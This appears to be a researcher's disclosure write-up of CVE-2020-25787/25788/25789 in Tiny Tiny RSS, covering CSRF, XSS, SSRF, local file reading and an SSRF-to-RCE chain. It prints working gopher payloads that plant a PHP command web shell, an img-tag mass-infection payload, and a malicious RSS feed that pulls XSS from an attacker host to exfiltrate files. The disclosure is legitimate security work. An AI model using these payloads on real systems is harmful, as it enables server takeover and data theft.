Andrew Dolgov (main tt-rss developer) has resolved all the issues fast and it was a pleasure to do the disclosure with him. For a period of three days since our first contact with him, many security related changes were pushed, and with last commit the gettext CVE finding was fixed. You can follow the discussion about our findings and fixes in the TinyTinyRSS Community forum.
You can read the whole PDF report here. Inside the report you will see mentions of the proof of concept (PoC) scripts. We have deliberately not published them to prevent script kiddie attacks.
Update March 2021: Exploit code was published on exploit-db: https://www.exploit-db.com/exploits/49606
Forcing subscribe and logout
After cloning the repository first file we analyzed was in classes/handler/public.php
as that was part that was accessible while unauthenticated. What we immediately noticed is that some functionalities there are not protected by CSRF token. At this time, logout and subscribe functions seemed like the only ones worth exploiting in this manner.
For forcefully subscribing user to your feed one can send GET requests to this URL: /public.php?op=subscribe&feed_url=http://your-site.com
For annoying user by logging them out, one can use this URL: /public.php?op=logout
Incorporating these URLs into image tag in feed could be used for denial of service of sorts by subscribing users to a lot of unwanted feeds or logging him out whenever he views feed. However, this seemed more like an annoyance than a genuinely critical issue.
Interesting password processing
Thinking there is nothing left to see in the public.php
file, we decided to explore webapp a bit without looking at the source code. Specifically, we were hunting for XSS vulnerabilities. We noticed that when login failed, the username would be visible in system logs (preferences->event log with an admin account), so we wanted to check if this could lead to XSS. Logging in with username test<aaa
yielded an interesting result.

As we can see, only the part before <
got processed, and the rest was truncated.
We decided to check if it processes passwords the same way by adding <randomgarbage
to a valid password. To our surprise, we successfully logged in! This looks like a harmless gimmick initially as it gains no advantage to an attacker, but there is a curious edge-case.
Assume the user sets his/her password to a<verysecurepassword
, tt-rss gives no warning that <
should not be used in a password. Next time the user logs in with a<verysecurepassword
, it will be successful, but the only part before <
is being processed! Therefore it is also possible to log in just by using password a
!
Imgproxy - path to RCE
We decided to go back to source code analysis again. We rechecked public.php
to see if we missed something. Indeed there was an interesting function: pluginhandler
. tt-rss comes with several plugins installed by default (more can be added, but we were only interested in exploiting default tt-rss), and each has an init.php
file with plugin class defined. With pluginhandler
function, one can call public methods of plugin class (plugin name goes in plugin
parameter and method name in pmethod
). So we decided to check if there are any exploitable public methods.
After changing directory to tt-rss/plugins
we grepped for public function
. Method imgproxy
in af_proxy_http
plugin looked interesting.
It should be noted that none of the vulnerabilities found require plugin to be enabled, it just needs to be installed (and it is, by default).
At first there was slight disappointment, cause right at the beginning of the method, there was the following code:
$url = rewrite_relative_url(get_self_url_prefix(), $_REQUEST["url"]);
// called without user context, let's just redirect to original URL
if (!$_SESSION["uid"]) {
header("Location: $url");
return;
}
We can supply the url
parameter, but a redirect will be made to that URL (open redirect is not a significant attack vector for this web app) when unauthenticated. However, we decided to analyze the plugin further to see if feasible attack vectors could use minimal user interaction.
First XSS vulnerability
Code continues like this:
$local_filename = sha1($url);
...
$data = fetch_file_contents(["url" => $url, "max_size" => MAX_CACHE_FILE_SIZE]);
...
if (!$disable_cache) {
if ($this->cache->put($local_filename, $data)) {
header("Location: " . $this->cache->getUrl($local_filename));
return;
}
}
If user is authenticated and makes the request with url
parameter, the plugin will compute sha1 hash of the URL, which will be the filename. The plugin will fetch the content hosted at the URL (using libcurl
if it is installed) and store it at {ttrss directory}/cache/images/{sha1 sum of the url}
, the file can also be accessed using cached_view
functionality in public.php
: /public.php?op=cached_url&file=images/{sha1 sum of the url}
What raised our suspicious is that we could not find any code enforcing that this file needs to be delivered as an image, so we tried to upload the HTML page and execute javascript.
Turns out it was successful! If the URL of the payload is supplied in the url
parameter, the plugin will fetch the payload, store it in the cache directory, and then redirect users to view stored files.
Thus if the user clicks a link like this, javascript code can be executed:/public.php?op=pluginhandler&plugin=af_proxy_http&pmethod=imgproxy&url=http://attacker.site/xss.html

CVE-2020-25789 was assigned to keep track of this vulnerability.
SSRF
In addition to not enforcing MIME type, we also noticed a lack of internal address filtering. In other words, making requests to internal services was possible as an authenticated user.
An authenticated user could request this:/public.php?op=pluginhandler&plugin=af_proxy_http&pmethod=imgproxy&url=http://127.0.0.1:1234/sensitiveInternalPage.html
Alternatively, an unauthenticated attacker could leverage XSS described in the previous section to scan internal services.
LFI
We looked again at how af_proxy_http
fetches content. In plugins/af_proxy_http/init.php
the following line can be seen:$data = fetch_file_contents(["url" => $url, "max_size" => MAX_CACHE_FILE_SIZE]);
Function fetch_file_contents
is not a native PHP function but rather a custom function written by tt-rss developers. If libcurl
is installed, it uses it to fetch content from the requested URL (if libcurl
is not installed, it uses file_get_contents
). Plenty of protocols are supported by libcurl
, including file://
, again we noticed no filtering or enforcing that URL needs to be HTTP URL. JThus we figured reading local files must be possible.
First attempt failed:/public.php?op=pluginhandler&plugin=af_proxy_http&pmethod=imgproxy&url=file:///etc/passwd

It failed because the file will be stored in cache only if libcurl
gets HTTP response code 200; alternatively, it shows an error image.
However, file contents can still be seen. For some reason, the plugin also has an alternative way of showing errors that can be used to get file contents. All that needs to be done to trigger it is add the text
parameter.
/public.php?op=pluginhandler&plugin=af_proxy_http&pmethod=imgproxy&url=file:///etc/passwd&text=1

As with SSRF, an attacker can pair this vulnerability with reflected XSS and extract sensitive files' contents.
This vulnerability has been asigned CVE-2020-25787 by the MITRE corporation.
Another XSS
For completion's sake, let's mention that url
parameter is also vulnerable to reflected XSS when used in conjunction with the text parameter.
/public.php?op=pluginhandler&plugin=af_proxy_http&pmethod=imgproxy&url=<script>alert(1)</script>&text=1

To keep track of this vulnerability, CVE-2020-25788 was assigned.
Escalating to remote code execution
Our goal from the start was to discover a RCE vulnerability. Classic LFI to RCE escalation was not applicable, as with that vulnerability, we could only read PHP code, not execute it.
After we analyzed other parts of an application and failing to find RCE (other than one in outdated PHP gettext library which would require the attacker to modify translation files), we returned to af_proxy_http
plugin.
We planned to see if it is realistic to escalate SSRF to RCE through something commonly installed along the tt-rss.
We came across gopherus tool which describes itself as tool that generates gopher link for exploiting SSRF and gaining RCE in various servers. libcurl
supports plenty of protocols; Gopher is particularly useful for an attacker cause it can be used to craft custom TCP packets.
By examining docker files (docker is the recommended way of installing tt-rss at the time of writing), we concluded PHP-FPM running on port 9000 is the best attack vector. We ran gopherus to generate payload (gopher URL), it is relatively easy to run it. All attacker needs to know is the location of any PHP file on a remote system (on non-dockerized installation we were testing on we chose /srv/http/tt-rss/config.php
). First attempt failed. After some troubleshooting we realized payload needs to be double url encoded (without double encoding, raw null bytes were passed to curl_exec
). Following that, we ran it...and it failed again, this time without clear reason.

We ssh'd to the box tt-rss was running on and tried to make the request manually (this time URL is not double-encoded cause it's not processed twice).
curl gopher://localhost:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%08%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclien%20%0%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH92%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%1BSCRIPT_FILENAME/srv/http/tt-rss/public.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00%5C%04%00%3C%3Fphp%20system%28%27ls%20%3E%20/srv/http/tt-rss/cache/images/a.txt%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
Result was curl: (3) URL using bad/illegal format or missing URL
.
This commit reveals the problem. tt-rss was self-hosted on an Arch box with most recent packages. Starting with cURL version 7.71.1, it refuses gopher URL's which contain null bytes. We can tell this is not due to security concerns but rather due to the gopher URL standard format.
This was disappointing as we could not craft a valid FastCGI packet without null bytes, and no other protocols that libcurl
supported were as useful (all would include something that made FastCGI packet invalid). However, then we wondered how many installations run this version of cURL.
It was impossible to confirm that (legally) for manually installed instances, but it was trivial to check what version docker installation is using. In app/Dockerfile
, there is a line FROM alpine:3.9
. A little bit of research showed this distribution uses cURL version 7.64.0! Again, it should be noted that this is not an outdated cURL issue, it's a SSRF issue.
We installed the dockerized version and tweaked gopherus
script a bit. By default gopherus
tool allowed the attacker to create gopher URLs, which when processed would execute a shell command. We edited it so it creates a backdoor file with the code we want instead.
<?php file_put_contents ( backdoor_path , base64_decode ( backdoor_code ) ) ; die ( 'executed ');?>
Where backdoor_path
and backdoor_code
were configurable variables. Running the script produced following URL:
gopher://localhost:9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%250D%2505%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2503CONTENT_LENGTH169%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%251FSCRIPT_FILENAME/var/www/html/tt-rss/config.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%25A9%2504%2500%253C%253Fphp%2520file_put_contents%2528%2527/var/www/html/tt-rss/backdoor.php%2527%252Cbase64_decode%2528%2527PD9waHAKZWNobyAic3VjY2Vzc1xuIjsKZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKTsKPz4K%2527%2529%2529%253Bdie%2528%2527executed%2527%2529%253B%253F%253E%2500%2500%2500%2500&text
We passed it in the url
parameter and it worked! File backdoor.php
gets written on the server! With this file in place, an attacker can run arbitrary commands on the server.
This means that backdooring a tt-rss installation is as easy as getting the user to click a link (or force the user's browser to make a GET request with image tag). However, this allows only for a targeted attack, can it be mass-deployed?
Mass-deploying the exploit
We planned to research whether an attacker can infect plenty of tt-rss servers without targetting each user individually. For this attack scenario, let us assume the attacker either owns or he hacked a website with a popular RSS feed.
Some HTML elements are allowed in feed, including link and image elements. The idea was to insert img
element that will force the user's browser to make a malicious GET request that will install backdoor.php
. So we hosted a feed with <img src="relative_link">
on https://subdomain.digeex.de
. To our disappointment, it got rewritten to <img src="https://subdomain.digeex.de/relative_link">
.
Feed parser calls rewrite_relative_url
function, which contains the following code snippet:
if (strpos($rel_url, "://") !== false) {
return $rel_url;
}
It is clear from this that relative URLs aren't thought of as a security concern, so it is trivial to bypass it by adding &bypass_filter=://
at the end of the URL. That means anyone subscribed can be backdoored through an img
tag that utilizes previously generated exploit url, like this:
<img src="public.php?op=pluginhandler&plugin=af_proxy_http&pmethod=imgproxy&url=gopher://localhost:9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%250D%2505%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2503CONTENT_LENGTH169%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%251FSCRIPT_FILENAME/var/www/html/tt-rss/config.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%25A9%2504%2500%253C%253Fphp%2520file_put_contents%2528%2527/var/www/html/tt-rss/backdoor.php%2527%252Cbase64_decode%2528%2527PD9waHAKZWNobyAic3VjY2Vzc1xuIjsKZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKTsKPz4K%2527%2529%2529%253Bdie%2528%2527executed%2527%2529%253B%253F%253E%2500%2500%2500%2500&text=1">
This would infect a good number of installations (all docker and any manually installed that run PHP-FPM on port 9000 and have cURL < 7.71.1), but the attacker might want to ensure to get sensitive info even if it fails.
This can be achieved by using an image tag to cache XSS payload and then linking it to the article title. After the user clicks a malicious link, XSS can fetch and send the contents of sensitive files to the attacker (using LFI vulnerability).

XML source of the malicious feed looks like this:
<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title>Exploit demo - xss2lfi</title>
<link></link>
<description>You are getting infected :(</description>
<item>
<title>This is malicious link</title>
<link><![CDATA[public.php?op=cached_url&file=images/271be703630c0f8fda3e173ffbf4d2a097b73adb&bypass_filter=://]]></link>
<description>
<![CDATA[
Dummy text
<img src ="public.php?op=pluginhandler&plugin=af_proxy_http&pmethod=imgproxy&url=http://attacker-server/xss2lfi.html">
]]>
</description>
</item>
</channel>
</rss>
Conclusion
The default docker installation of tt-rss has a vulnerability that allows for remote code execution. It can be mass-exploited through a popular subscription feed.
Manually installed instances are also vulnerable if PHP-FPM is running on port 9000 (instead of Unix socket), and cURL version is below 7.71.1. Remote code execution might be possible even if those conditions are not satisfied, but we have not researched how.
Even if remote code execution cannot be achieved, attackers can get contents of internal files and portscan internal services if the user clicks the article title. All instances are vulnerable to this, docker or otherwise.
Timeline
- 10 August - 11 September: Testing and reporting phase
- 11 September - 14 September: Contacting developer (first e-mail got lost)
- 14 September - 17 September: Developer fixed all the issues
- 18 September: CVE IDs requested
- 19 September: CVE-2020-25787, CVE-2020-25788, CVE-2020-25789 assigned to our findings
- 21 September: Our findings are made public
- 2 March 2021: Exploit code published on exploit-db